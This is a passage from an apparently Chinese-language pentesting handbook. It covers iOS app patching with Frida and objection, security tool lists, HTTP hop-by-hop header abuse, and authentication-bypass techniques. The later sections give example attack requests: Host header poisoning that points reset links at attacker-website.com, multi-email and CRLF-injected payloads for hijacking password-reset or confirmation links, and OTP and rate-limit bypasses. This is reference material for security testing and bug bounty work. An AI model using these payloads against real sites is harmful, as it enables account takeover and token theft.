* The private key used to sign the application matches the public key in the certificate.

If all the above steps are successful the signed binary is sent to the device and is validated against the same provisioning profile in the application and finally launched. If anyone of these conditions fail, then the application will not install — and you will see a greyed-out app icon.

## References

* [What is a provisioning profile & code signing in iOS?](https://medium.com/@abhimuralidharan/what-is-a-provisioning-profile-in-ios-77987a7c54c2)
* [.mobileprovision Files Structure and Reading](https://web.archive.org/web/20130502092617/http://idevblog.info/mobileprovision-files-structure-and-reading)
* [Making Sense Of iOS Provisioning](https://www.sharpmobilecode.com/making-sense-of-ios-provisioning/)


# 入门指南


# IPA补丁

In order to start analyzing and managing the iOS app without jailbreak, the app's IPA itself needs to be patched and code signed to load the FridaGadget.dylib on start. This can be done using the following script:

To patch an IPA though, a few things need to be done in preparation: installing dependencies, obtaining the embedded.mobileprovision file and a code signing certificate from Apple.

## Preparation

### Apple Developer account

First and foremost, you need to register for an Apple Developer account. A free one works fine, but you need to keep in mind that you will only be allowed to run patched applications for 7 days, before repeating the patching/signing/installation process again.

To register:

* Visit <https://developer.apple.com/register/> and agree to the license agreement.
* Sign in with your AppleID in XCode by browsing to `XCode > Preferences > Accounts` and clicking on the `+` at the bottom left.

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-705857dd575270e9a80235a112afa3d22d11469b%2Fxcode-sign-in.png?alt=media)

* Click on `Manage Certificates` and click on the `+` drop down, selecting `iOS Development`. XCode will generate a new code signing certificate for you to use.

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-ea21a42690c9582efa60766dc5469cf1a8c61b3a%2Fxcode-manage-certificates.png?alt=media)

* Click `Done`.

Once you have a developer account signed in to in XCode, you will now be able to sideload applications and run them on iOS devices. You can also check for code signing certificates that are now available in a terminal:

```bash
$ security find-identity -p codesigning -v
```

```
1) 11AA22BB*** "Apple Development: *****@icloud.com (ABCDEF1234)"
     1 valid identities found
```

`11AA22BB***` is code sign identity.

### mobileprovision file

The .mobileprovison file contains some certificate information as well as the entitlements groups for the application. To generate the .mobileprovision file, all you need to do is build and deploy a blank iOS application to a device.

So, to build and deploy a blank iOS application using XCode to get the updated embedded.mobileprovision file you need:

* Start XCode and select `Create a new Xcode project`.

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-4d9821048136e0460bacf9e1bbfd234fbdfff172%2Fxcode-create-a-new-project.png?alt=media)

* Select `iOS > App` and click `Next`.

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-0cf884adb4841d57b5b532695937efdb764cdf93%2Fxcode-select-app.png?alt=media)

* Fill in a `Product Name` and an `Organization Identifier`, click `Next`.

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-e769454ce9b887c3df5d5682224757201032f811%2Fxcode-project-options.png?alt=media)

* Choose where to save the project and finally click on `Create`.
* In the projects root, under the `Signing & Capabilities` tab, ensure that there are no errors with the signing certificate. Most of the time, XCode is pretty verbose with what needs to be done to fix any errors you may encounter, so just take a moment to read.

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-3ac30f7d1733f841cb7b0b487e7679d93c05d998%2Fxcode-siginig-capabilities.png?alt=media)

* When done, ensure your iOS device is plugged in. Select it as the target device in the top left corner, and hit the big play button. This process will compile the blank app for the target device, and update embedded.mobileprovision file.
* In the projects root, under the `Signing & Capabilities` tab pick up the updated embedded.mobileprovision by dragging it behind the file with the gear icon.

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-a59c98dd100c1f3158e69cdb666df066db04ab4a%2Fxcode-mobileprovision-file.png?alt=media)

{% hint style="info" %}
Running your blank application for the first time on an iOS device will most probably result in a error that reads something like:

```
Verify the Developer App certificate for your account is trusted on your device.
Open Settings on your device and navigate to General > Device Management,
then select your Developer App certificate to trust it.
```

What this means is that you need to also trust the iTunes account you used to run code on the iOS device you have. Simply navigate to your iOS devices:

`Settings > General > Device Management > iTunes account from the "Developer App" section > Select "Trust"`
{% endhint %}

### Dependencies

**ipa-patching.sh**

The main script that loads the FridaGadget.dylib, signs the code and deploys the IPA to the device.

```bash
$ git clone https://github.com/example/ipa-patching.git
```

**brew**

The ipa-patching.sh script to patching an IPA requires [brew](https://github.com/Homebrew/brew)

```bash
$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
```

## Patching

Before patching IPA, you need to set a number of variables in `ipa-patching.sh`.

With all of the above dependencies solved, you can finally patch an IPA. To do this, simply run the script:

```bash
$ cd ipa-patching
$ ./ipa-patching.sh
```

This script will extract the IPA, locate the app binary, patch it to load the FridaGadget.dylib, sign code and deploy it to device.


# 源码补丁

In order to start analyzing and managing an iOS app without jailbreak, the app's source code itself needs to be patched to load the FridaGadget.dylib on start. In these cases, you can simply load the FridaGadget.dylib as part of the Xcode project and deploy it on an iOS device or simulator.

## Add FridaGadget.dylib to project

To add FridaGadget.dylib to project in XCode:

* Create a Frameworks folder in the project root.

  ```bash
  $ mkdir Frameworks
  $ cd Frameworks
  ```
* Download FridaGadget.dylib from [here](https://github.com/frida/frida/releases) and extract it.

  ```bash
  $ curl -Lo FridaGadget.dylib.xz https://github.com/frida/frida/releases/download/<version>/frida-gadget-<version>-ios-universal.dylib.xz
  $ unxz FridaGadget.dylib.xz
  ```
* Go to the project's root and select the `Build Phases`, find the section title `Link Binary With Libraries` and drag the dylib from the Frameworks folder on the left of Xcode to the existing list.

![xcode-link-dylib](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-3cae679ef1ddc62a377212d7cc3bf0e8ddb8dc13%2Fxcode-link-dylib.png?alt=media)

* Go to the project's root and select the `General`, find the section title `Frameworks, Libraries, and Embedded Content` and set FridaGadget.dylib in the `Embed` column to `Embed & Sign`.

![xcode-embed-sign-dyli](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-27c495b3a8badd348f7bd52e7232a1e9daa76ece%2Fxcode-embed-sign-dylib.png?alt=media)

## Build & Deploy

You can now build the project and deploy it to an iOS device or simulator.

![xcode-deploy-console-output](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-8c84c593911062b529d33c5bfbeb69c043239e06%2Fxcode-deploy-console-output.png?alt=media)


# 使用Objection测试

You can use the following toolkit to interact with the patched app:

{% embed url="<https://github.com/sensepost/objection>" %}

## Running

After the patched app has been launched, you need to connect to it using objection.

### Connect via USB

* Find out app's PID.

  ```bash
  $ frida-ps -Ua
  ```

  ```
  PID   Name                     Identifier
  ----  -----------------------  ---------------------------------
  1234  MyApp                    com.mycompany.myapp
  ...
  ```
* Start the objection exploration REPL.

  ```bash
  $ objection -g 1234 explore
  ```

### Connect via network

* Find in the console the moment of loading Frida, waiting for a connection.

![xcode-deploy-console-output](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-8c84c593911062b529d33c5bfbeb69c043239e06%2Fxcode-deploy-console-output.png?alt=media)

* Start the objection exploration REPL.

  ```bash
  $ objection -N -h 127.0.0.1 -p 27042 explore
  ```

## Commands

A quick guide to the most used objection's commands.

### Environment

```bash
$ env
```

### Run OS command

```bash
$ !cat Info.plist 
```

### Download file

```bash
$ file download Info.plist
```

### Import Frida scripts

In order to import and **run** the Frida script use the following command:

```bash
$ import "/tmp/frida-script.js"
```


# 列表


# 攻击载荷

* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - Web应用安全和渗透测试/CTF的有用攻击载荷和绕过列表


# 字典文件

## 凭据

* [Default Credentials Cheat Sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet) - 所有默认凭据的汇总，协助蓝队/红队成员查找使用默认密码的设备。
* [PWDB - 新一代密码大规模分析工具](https://github.com/ignis-sec/Pwdb-Public) - 从互联网10亿凭据泄露中提取的所有数据集合。

## 通用

* [WordList Compendium](https://github.com/Dormidera/WordList-Compendium) - 个人编写的各类字典集合：用户名、密码、目录、文件、漏洞、模糊测试、注入、工具字典等。
* [SecLists](https://github.com/danielmiessler/SecLists) - 安全评估过程中使用的多种类型列表集合。

## Web内容

* [Assetnote Wordlists](https://wordlists.assetnote.io/) - 用于内容和子域名发现的高质量字典。
  * [swagger-wordlist.txt](https://wordlists-cdn.assetnote.io/data/kiterunner/swagger-wordlist.txt) - 从多个数据源收集的swagger文件，包括对40多个最常见swagger路径的互联网范围扫描。
* [fuzz.txt](https://github.com/Bo0oM/fuzz.txt) - 潜在危险文件。
* [leaky-paths](https://github.com/ayoubfathi/leaky-paths) - 与主要Web CVE、已知错误配置、重要API等相关联的特殊路径集合。


# 研究


# Web应用

## HTTP工具包

* [Hetty](https://github.com/dstotijn/hetty) - 用于安全研究的HTTP工具包。
* [httpx](https://github.com/projectdiscovery/httpx) - 快速多功能的HTTP工具包，允许使用`retryablehttp`库运行多个探测器，旨在增加线程的同时保持结果可靠性。

## Mock服务和Webhook

* [mocky](https://designer.mocky.io/design) - 全世界最简单快捷的API模拟工具。
* [Webhook.site](https://webhook.site/) - 使用这个方便的工具轻松测试HTTP webhook，即时显示请求。

## 反向代理和简单服务器

* [Reproxy](https://github.com/umputun/reproxy) - 支持多种提供商（docker、static、file）的简单边缘HTTP(s)服务器/反向代理。

## 上传和下载

* [httpsweet](https://github.com/eloypgz/httpsweet) - 用于轻松下载和上传文件的HTTP服务器。
* [QueenSono](https://github.com/ariary/QueenSono) - 使用ICMP协议进行数据渗透的Golang二进制文件。


# 技术文章

* [BugBountyHunting](https://www.bugbountyhunting.com/) - 技术文章搜索引擎

## Web应用

* [Bug Bounty Reference](https://github.com/ngalongc/bug-bounty-reference) - 按漏洞性质分类的漏洞赏金技术文章列表


# 工具软件


# AWS工具

## 工具包

* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - AWS利用框架，专为测试Amazon Web Services环境的安全性而设计。
* [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - 多云安全审计工具。

## IAM

* [enumerate-iam](https://github.com/andresriancho/enumerate-iam) - 枚举与AWS凭据集关联的权限。


# Azure工具

* [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - 多云安全审计工具。
* [MicroBurst](https://github.com/NetSPI/MicroBurst) - 用于评估Microsoft Azure安全的脚本集合。


# 组件分析

* [OWASP Dependency-Check](https://github.com/jeremylong/DependencyCheck) - 软件组件分析工具，用于检测应用程序依赖项中公开披露的漏洞

## 平台

* [Dependency-Track](https://github.com/DependencyTrack/dependency-track) - 智能组件分析平台，帮助组织识别和降低软件供应链风险


# Docker分析


# 动态分析

* [Nuclei](https://github.com/projectdiscovery/nuclei) 和 [Nuclei Templates](https://github.com/projectdiscovery/nuclei-templates) - Nuclei是一个基于模板的快速可配置目标漏洞扫描工具，提供强大的扩展性和易用性。Nuclei Templates是社区维护的模板列表，用于nuclei引擎查找应用程序中的安全漏洞。
* [wapiti](https://github.com/wapiti-scanner/wapiti) - Web应用程序安全审计器。
* [ugly-duckling](https://github.com/detectify/ugly-duckling) - 专为我们的众包社区提交概念验证模块而构建的轻量级扫描器。


# 模糊测试

## API

* [RESTler](https://github.com/microsoft/restler-fuzzer) - RESTler是第一个有状态的REST API模糊测试工具，用于通过REST API自动测试云服务，并在这些服务中发现安全和可靠性缺陷。
* [GitLab Protocol Fuzzer Community Edition](https://gitlab.com/gitlab-org/security-products/protocol-fuzzer-ce) - 这是GitLab协议模糊测试框架的社区版。该框架基于Peach Fuzzer Professional，移除了某些功能。

## Java

* [javafuzz](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/javafuzz) - Java的覆盖率引导模糊测试工具。

## JavaScript

* [jsfuzz](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/jsfuzz) - 用于测试JavaScript/Node.js包的覆盖率引导模糊测试工具。

## JSON

* [jdam](https://gitlab.com/michenriksen/jdam) - 受[Radamsa](https://gitlab.com/akihe/radamsa)启发的工具，用于以结构感知的方式模糊测试任意JSON对象，确保模糊测试结果始终是有效的JSON。

## Python

* [pythonfuzz](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/pythonfuzz) - 用于测试Python包的覆盖率引导模糊测试工具。

## TCP/UDP

* [Fuzzotron](https://github.com/denandz/fuzzotron) - 支持TCP、UDP和多线程的简单网络模糊测试工具。

## Web

* [ffuf - Fuzz Faster U Fool](https://github.com/ffuf/ffuf) - 用Go编写的快速Web模糊测试工具。


# GCP工具

* [gcp\_enum.sh](https://gist.github.com/carnal0wnage/757d19520fcd9764b24ebd1d89481541) - 使用gcloud工具从GCP服务账户JSON文件中枚举尽可能多的访问权限。


# 逆向工程

* [Ghidra](https://github.com/NationalSecurityAgency/ghidra) - 软件逆向工程框架
* [Cutter](https://github.com/rizinorg/cutter) - 免费开源的逆向工程平台


# 静态分析

* [Semgrep](https://github.com/returntocorp/semgrep) - 适用于多种语言的轻量级静态分析工具（另见[Semgrep Registry](https://semgrep.dev/explore)）


# 漏洞扫描

* [trivy](https://github.com/aquasecurity/trivy) - 简单全面的容器漏洞扫描器，适用于CI


# 培训


# 安全开发

## 平台

* [Secure Coding Dojo](https://github.com/trendmicro/SecureCodingDojo) - 提供安全编码培训的平台
* [Security Gym](https://github.com/yandex/securitygym) - 安全软件开发培训平台

## 漏洞代码示例

### Java

* [JAVA SECURITY CALENDAR 2019](https://www.ripstech.com/java-security-calendar-2019/) - 发现漏洞的任务


# HTTP逐跳请求头滥用

本节涵盖了通过滥用HTTP/1.1逐跳（hop-by-hop）头来以意外方式影响Web系统和应用程序的技术。受这些技术影响的系统可能在请求到达服务器应用程序之前有多个处理请求的缓存/代理。

## 逐跳请求头

规范 [RFC 2612](https://tools.ietf.org/html/rfc2616#section-13.5.1) 定义了两种类别的HTTP头：

* `端到端头（End-to-end headers）`：传输到请求或响应的最终接收者。响应中的端到端头**必须**作为缓存条目的一部分存储，并且**必须**在从缓存条目形成的任何响应中传输。
* `逐跳头（Hop-by-hop headers）`：仅对单个传输级连接有意义，不被缓存存储或被代理转发。

换句话说，逐跳头设计为由当前处理请求的代理服务器处理和使用，与端到端头不同，端到头头设计为在请求中存在直到请求结束。

规范 [RFC 2612](https://tools.ietf.org/html/rfc2616#section-13.5.1) 默认将以下头定义为逐跳头：

* `Keep-Alive`，
* `Transfer-Encoding`，
* `TE`，
* `Connection`，
* `Trailer`，
* `Upgrade`，
* `Proxy-Authorization`，
* `Proxy-Authenticate`。

HTTP/1.1定义的所有其他头都是端到端头。

如果在请求中找到逐跳头，兼容的代理服务器应该处理或执行操作，而不考虑这些头指示什么，并且不将它们转发到下一跳。

请求[还可以通过将头添加到 `Connection` 头来定义自定义头集作为逐跳头](https://tools.ietf.org/html/rfc2616#section-14.10)，如下所示：

```http
Connection: close, X-Foo, X-Bar
```

客户端要求代理服务器将 `X-Foo` 和 `X-Bar` 视为逐跳头，这意味着客户端希望代理在发送请求之前从请求中删除它们。

## 滥用HTTP逐跳请求头

`Connection` 头本身是默认的逐跳头。这意味着兼容的代理服务器在转发请求时不应该在其 `Connection` 头中将自定义逐跳头列表转发到链中的下一个服务器。然而，在实践中这并不总是发生，一些系统要么转发整个 `Connection` 头，要么复制逐跳列表并将其添加到他们自己的 `Connection` 头中。例如，HAProxy很可能原样传递 `Connection` 头，Nginx在反向代理模式下也有相同的行为。

下图显示了如果后端期望 `X-Important-Header` 并在逻辑决策中考虑其存在时，滥用逐跳头如何可能导致问题。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-b414ee56b9815c05bcb65719c60ffb8f896b0100%2Fhbh-theory-diagram.png?alt=media)

验证系统是否容易受到某种滥用逐跳请求头影响的快速简便方法是使用需要身份验证的端点的 `Cookie` 头（假设目标系统使用Cookie身份验证）。例如，让我们假设 `/api/users/profile` 端点返回 `200 OK` 以及关于用户的信息。在这种情况下，如果系统易受攻击，以下请求可能返回与预期不同的响应：

```http
GET /api/users/profile HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionid=...
Connection: close, Cookie
```

要搜索更有趣的效果，您可以使用Burp Suite Intruder或带有已知头列表的自定义脚本，比如[这个列表](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers)。

### 绕过身份验证或访问控制决策

如果应用程序在进行身份验证/授权决策时依赖任何头的存在/不存在，滥用逐跳头可用于绕过此类实现。

{% embed url="<https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/>" %}

### 缓存中毒DoS

这种情况下的影响与通常的[Cache Poisoning DoS](https://cpdos.org)实现的效果非常相似。然而，在这种情况下，方法略有不同——不是直接使用或修改创建不需要的应用程序状态并毒化Web缓存的请求头，而是使用逐跳头来创建这种不需要的状态并删除应用程序正常功能所依赖的头。

要利用缓存中毒DoS，需要：

1. 前端缓存转发自定义的逐跳头集，而不是处理它们。
2. 链中的任何中间代理处理自定义集并删除头。
3. 应用程序考虑这些头的存在，如果它们不存在，返回不需要的响应，例如 `400 Bad Request` 或 `501 Not Implemented`。

结果，应用程序之前的Web缓存将缓存此不需要的响应并返回给其他用户。

### 服务指纹识别

当寻找逐跳头时，寻找服务器发送响应中的差异。删除特定于技术或特定于堆栈的HTTP头可能导致各种副作用，允许收集有关应用程序的更多信息。头越具体，应用程序的指纹越准确。

### 掩盖源IP地址

当前端代理服务器接受用户请求时，它可以将用户的IP地址添加到 `X-Forwarded-For` 头，以便后端知道用户的IP地址。但是，如果您告诉代理 `X-Forwarded-For` 头是逐跳头，它将从请求中删除该头。因此后端要么永远不会收到用户的IP地址，要么收到链中其他元素的IP地址。

{% hint style="info" %}
请记住，`X-Forwarded-For` 头不是传输用户IP地址的唯一头。`Forwarded`、`X-Real-IP` 等也可以使用。
{% endhint %}

## 参考资料

* [Abusing HTTP hop-by-hop request headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
* [Python script to find hop-by-hop header abuse potential against the provided URL](https://gist.github.com/ndavison/298d11b3a77b97c908d63a345d3c624d)
* [Writeup: Worldwide Server-side Cache Poisoning on All Akamai Edge Nodes ($50K+ Bounty Earned)](https://medium.com/@jacopotediosi/worldwide-server-side-cache-poisoning-on-all-akamai-edge-nodes-50k-bounty-earned-f97d80f3922b)


# 身份认证绕过

## 添加或更改邮箱地址

如果添加新邮箱地址或更改现有邮箱地址的操作不需要密码确认，会话劫持、XSS 或 CSRF 可能导致账户接管。

## Amazon Cognito 滥用

## 邮箱确认

### 使用确认链接绑定邮箱

尝试在账户 `B` 的会话中跟随账户 `A` 的确认链接。如果应用程序存在漏洞，它会将已验证的邮箱链接到账户 `B`。在这种情况下，攻击流程可能如下：

1. 攻击者将 `attacker@website.com` 链接到他们的账户。
2. 攻击者向受害者发送确认链接。
3. 受害者在登录应用程序时从邮件中点击链接。
4. 应用程序将 `attacker@website.com` 链接到受害者账户。

参考：

* [技术分析：注意这些链接：账户接管！](https://akashhamal0x01.medium.com/watch-out-the-links-account-takeover-32b9315390a7)

### 多个邮箱确认

添加新邮箱的方法可以在单个请求中接受多个邮箱地址。但是，该方法可能仅基于一个邮箱创建一次性令牌，但将包含恢复链接的邮件一次性发送到所有传递的邮箱。例如，如果应用程序对此类攻击存在漏洞，在以下请求中：

```http
PUT /user/profile HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/json
Content-Length: 57

{"email": ["victim@website.com", "attacker@website.com"]}
```

应用程序会向两个邮箱地址发送相同的确认链接。

您还可以尝试以下 payload：

```http
victim@website.com&attacker@website.com
victim@website.com,attacker@website.com
victim@website.com|attacker@website.com
victim@website.com%20attacker@website.com
victim@website.com%09attacker@website.com
victim@website.com%0a%0dcc:attacker@website.com
...
```

另一个类似的情况是，当确认链接发送到错误的邮箱时存在业务逻辑漏洞。例如，如果应用程序向已添加的主邮箱发送确认链接，而不是未确认的邮箱。

参考：

* [报告：myshop.myshopify.com 中的邮箱确认绕过导致通过利用 Shopify SSO 获得任意店铺所有者的完全权限提升](https://hackerone.com/reports/791775)

### 跳过确认过程

如果应用程序允许您在没有邮箱确认过程的情况下创建用户，您可以尝试滥用此功能来获取具有预确认邮箱的新用户。这在以下情况下至少是可能的：

* 应用程序允许创建具有预定义已确认邮箱的机器人用户。
* SCIM 预配功能。
* 通过易受攻击的服务进行 OAuth 认证，该服务允许使用未确认的账户进行认证。

参考：

* [报告：绕过邮箱验证——能够访问使用 Gitlab 登录并执行邮箱域名检查的内部 Gitlab 服务](https://gitlab.com/gitlab-org/gitlab/-/issues/11643)

### 使用未确认的邮箱

如果应用程序允许使用未确认的邮箱，请尝试在应用程序或其他应用程序/系统依赖邮箱地址的流程中滥用此行为。例如：

* 如果存在盲目信任易受攻击应用程序数据的应用程序/系统，您可以尝试滥用此信任。例如，如果应用程序可以用作 OAuth 授权服务器，请尝试使用具有未确认邮箱的账户通过 OAuth 向第三方应用程序进行身份验证，您可以在 [OAuth 2.0 漏洞：滥用具有未确认邮箱的账户](/web-ying-yong-an-quan/oauth-2.0-vulnerabilities#abusing-accounts-with-unconfirmed-email) 中找到更多详细信息。
* 尝试使用未确认的邮箱来抢占可能被其他用户使用或应用程序内部使用的邮箱。在这种情况下，您可以阻止所有或特定用户的某些应用程序功能。
* 如果某些功能不应对未确认其邮箱的用户可用，请检查这些功能对他们是否真的不可用。此外，请确保 REST 和 GraphQL API 也遵守相同的策略。

### 使用 OTP 进行邮箱确认

### 弱确认令牌

确认令牌可能使用易受攻击的生成算法生成，这可能导致预测生成值的可能性。如果您成功预测令牌，您将能够为任何邮箱生成有效的确认令牌。

## 信息泄露

应用程序在执行操作时可能会在响应中返回未知数据。这些可以是请求的密码、生成的 OTP、具有额外权限的 cookie、用户数据、详细的错误消息等。检查服务器响应中是否存在此类数据。

## OAuth 2.0

## 密码恢复

### Host 头部投毒

应用程序可以使用 `Host` 头部值来生成密码恢复链接。如果应用程序易受 `Host` 头部投毒攻击，您可以影响链接并指定您的域名。结果，如果受害者从邮件中点击链接，恢复令牌将泄露到您的域名。

有几种方法可以实现 `Host` 头部投毒。

#### Host 头部替换

您可以尝试将 `Host` 头部替换为您的域名。易受攻击请求的示例：

```http
POST /users/password HTTP/1.1
Host: attacker-website.com
Content-Type: application/json
Content-Length: 31

{"email": "victim@website.com"}
```

或绕过主机验证（参见 SSRF 相关文档）：

```http
POST /users/password HTTP/1.1
Host: attacker-website.com/vulnerable-website.com
Content-Type: application/json
Content-Length: 31

{"email": "victim@website.com"}
```

参考：

* [技术分析：通过 Host Header Poisoning 劫持密码重置链接](https://hackerone.com/reports/226659)

#### 覆盖 Host 头部

传递链中的组件，如代理，可以使用额外的 HTTP 头部传递客户端请求的原始主机：

您可以尝试使用这些头部来识别客户端在 `Host` 请求头部中请求的原始主机：

```http
POST /users/password HTTP/1.1
Host: vulnerable-website.com
x-forwarded-host: attacker-website.com
x-host: attacker-website.com
x-original-host: attacker-website.com
Content-Type: application/json
Content-Length: 31

{"email": "victim@website.com"}
```

参考：

* [技术分析：通过密码重置投毒实现账户接管](https://medium.com/@vbharad/account-takeover-through-password-reset-poisoning-72989a8bb8ea)

#### 多个 Host 头部

您可以尝试指定多个 `Host` 头部。易受攻击请求的示例：

```http
POST /users/password HTTP/1.1
Host: vulnerable-website.com
Host: attacker-website.com
Content-Type: application/json
Content-Length: 31

{"email": "victim@website.com"}
```

### 多个邮箱地址

密码恢复方法可以在一个请求中接受多个恢复邮箱。但是，该方法可以仅基于一个邮箱搜索账户来创建一次性令牌，但将包含恢复链接的邮件一次性发送到所有传递的邮箱。例如，如果应用程序对此类攻击存在漏洞，在以下请求中：

```http
POST /users/password HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/json
Content-Length: 57

{"email": ["victim@website.com", "attacker@website.com"]}
```

应用程序会向两个邮箱地址发送相同的恢复链接。

您还可以尝试以下 payload：

```http
victim@website.com&attacker@website.com
victim@website.com,attacker@website.com
victim@website.com|attacker@website.com
victim@website.com%20attacker@website.com
victim@website.com%09attacker@website.com
victim@website.com%0a%0dcc:attacker@website.com
...
```

参考：

* [技术分析：Readme.com 账户接管 #BugBounty #FullDisclosure #Fixed](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)

### 账户和代码之间缺乏关联

尝试为您的账户请求一次性令牌，并使用它们来恢复受害者的账户：

```http
POST /users/password/recovery HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/json
Content-Length: 72

{"email": "victim@website.com","code": "<攻击者账户的代码>"}
```

### 密码恢复不会终止之前创建的会话

成功的密码恢复应该终止之前创建的会话。如果这种情况没有发生，受害者将无法管理其账户的安全性。结果，攻击者将能够在较长时间内保持活动会话。

### 通过 Referer 头部泄露令牌

[Referer](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) HTTP 请求头部包含发出请求的页面的绝对或部分地址。`Referer` 头部允许服务器识别人们访问它的页面。此数据用于分析、日志记录、优化缓存等。

Referer 头部可以包含 `origin`、`path` 和 `querystring`，可能不包含 URL 片段（即 `#section`）或 `username:password` 信息。请求的 referrer 策略定义了可以包含的数据，参见 [Referrer-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)。

包含密码恢复的页面，应用程序通过邮件发送其链接，可以加载第三方脚本，例如分析，或包含指向第三方资源的链接，例如社交网络。如果在请求这些资源时将密码恢复链接传递到 `Referer` 头部中，一次性令牌会泄露到第三方资源，因为它被传递到 `querystring`。

参考：

* [报告：敏感信息的跨域泄露——导致 Instagram 品牌的账户接管](https://hackerone.com/reports/209352)
* [报告：\[跨域 Referer 泄露\] 密码重置令牌泄露到第三方网站。](https://hackerone.com/reports/265740)
* [报告：语言切换器中的 Referer 头部泄露可能导致 FB 令牌被盗](https://hackerone.com/reports/870062)

### 弱恢复令牌

恢复令牌可能使用易受攻击的生成算法生成，这可能导致预测生成值的可能性。如果您成功预测令牌，您将能够为任何账户生成有效的恢复令牌。

## 手机和 OTP 认证

### OTP 重发

如果应用程序没有对重发 OTP 设置速率限制，并且重发 OTP 会重置 OTP 输入尝试的速率限制，则应用程序易受 OTP 暴力破解攻击。

参考：

* [报告：使用手机登录选项进行授权绕过+在 Grab Android 应用程序上可能发生横向提权](https://hackerone.com/reports/205000)

### OTP 重用

如果应用程序允许使用已使用或重新生成的旧 OTP，任何 OTP 泄露（例如，泄露到日志或第三方服务）都将危及依赖 OTP 的功能。

### 会话固定

应用程序可以实现如下身份验证流程：

1. 应用程序调用 `/SessionCreate` 端点，传入用户的手机号码
2. 后端为用户创建会话并返回会话令牌，但在验证完成之前无法使用此会话进行操作
3. 向用户发送包含验证码的短信
4. 应用程序调用 `/SessionVerify` 端点，传入会话令牌和通过短信接收的验证码
5. 一旦此请求成功完成，会话令牌变为有效，用户现在已登录

如果后续对 `/SessionCreate` 的调用返回与第一次相同的会话令牌，直到调用 `/SessionVerify`，您可以使用 `/SessionCreate` 端点来获取将在受害者身份验证后有效的会话令牌。

参考：

* [报告：通过短信认证流程实现账户接管](https://hackerone.com/reports/1245762)

### 伪造认证请求的部分

如果在 OTP 检查期间应用程序额外使用某些参数，请尝试使用来自不同账户请求的值。该参数可以是 cookie、头部或请求参数。如果您在攻击者的 OTP 检查请求中使用受害者的参数值，您可以进入受害者账户或绕过双因子认证。

此外，尝试将攻击者的有效 OTP 值重新用作受害者的 OTP 值。如果应用程序不验证 OTP 是否属于攻击者，您将能够进入受害者账户或绕过双因子认证。

### 短期和长期 OTP

应用程序可以使用短期（少于5位）和/或长期 OTP。这种实现为暴力破解留下了许多方法，特别是在没有速率限制或速率限制较弱或可绕过的情况下。

## 速率限制

## 第三方登录或注册

实现第三方登录或注册的应用程序通常基于第三方应用程序发送的附加邮箱地址来识别用户。在这种情况下，您可以尝试使用链接到同一邮箱地址的两个不同的第三方应用程序进行登录或注册。有时这两个账户可以合并，您将通过您的第三方应用程序账户登录或注册来访问受害者的账户。

例如，假设受害者通过链接到 `victim@website.com` 的 `third-party-app1.com` 登录或注册到 `vulnerable-website.com`。要利用此漏洞，请尝试以下流程：

1. 在 `third-party-app2.com` 创建账户并输入 `victim@website.com` 邮箱地址（理想情况下不需要邮箱确认）
2. 尝试通过 `third-party-app2.com` 在 `vulnerable-website.com` 登录或注册
3. 如果应用程序存在漏洞，您将能够访问受害者的账户

参考：

* [技术分析：账户接管 https://teamplay.qiwi.com](https://hackerone.com/reports/439207)

## 用户名和密码认证

### 暴力破解

如果应用程序没有对登录尝试设置速率限制，请尝试制作字典并暴力破解密码。

速率限制的一种实现使用用户名或邮箱作为尝试计数的标识符。尝试通过使用额外空格或大小写来绕过保护：

```http
email=" username@website.com"
email="username@website.com  "
email="Username@website.com"
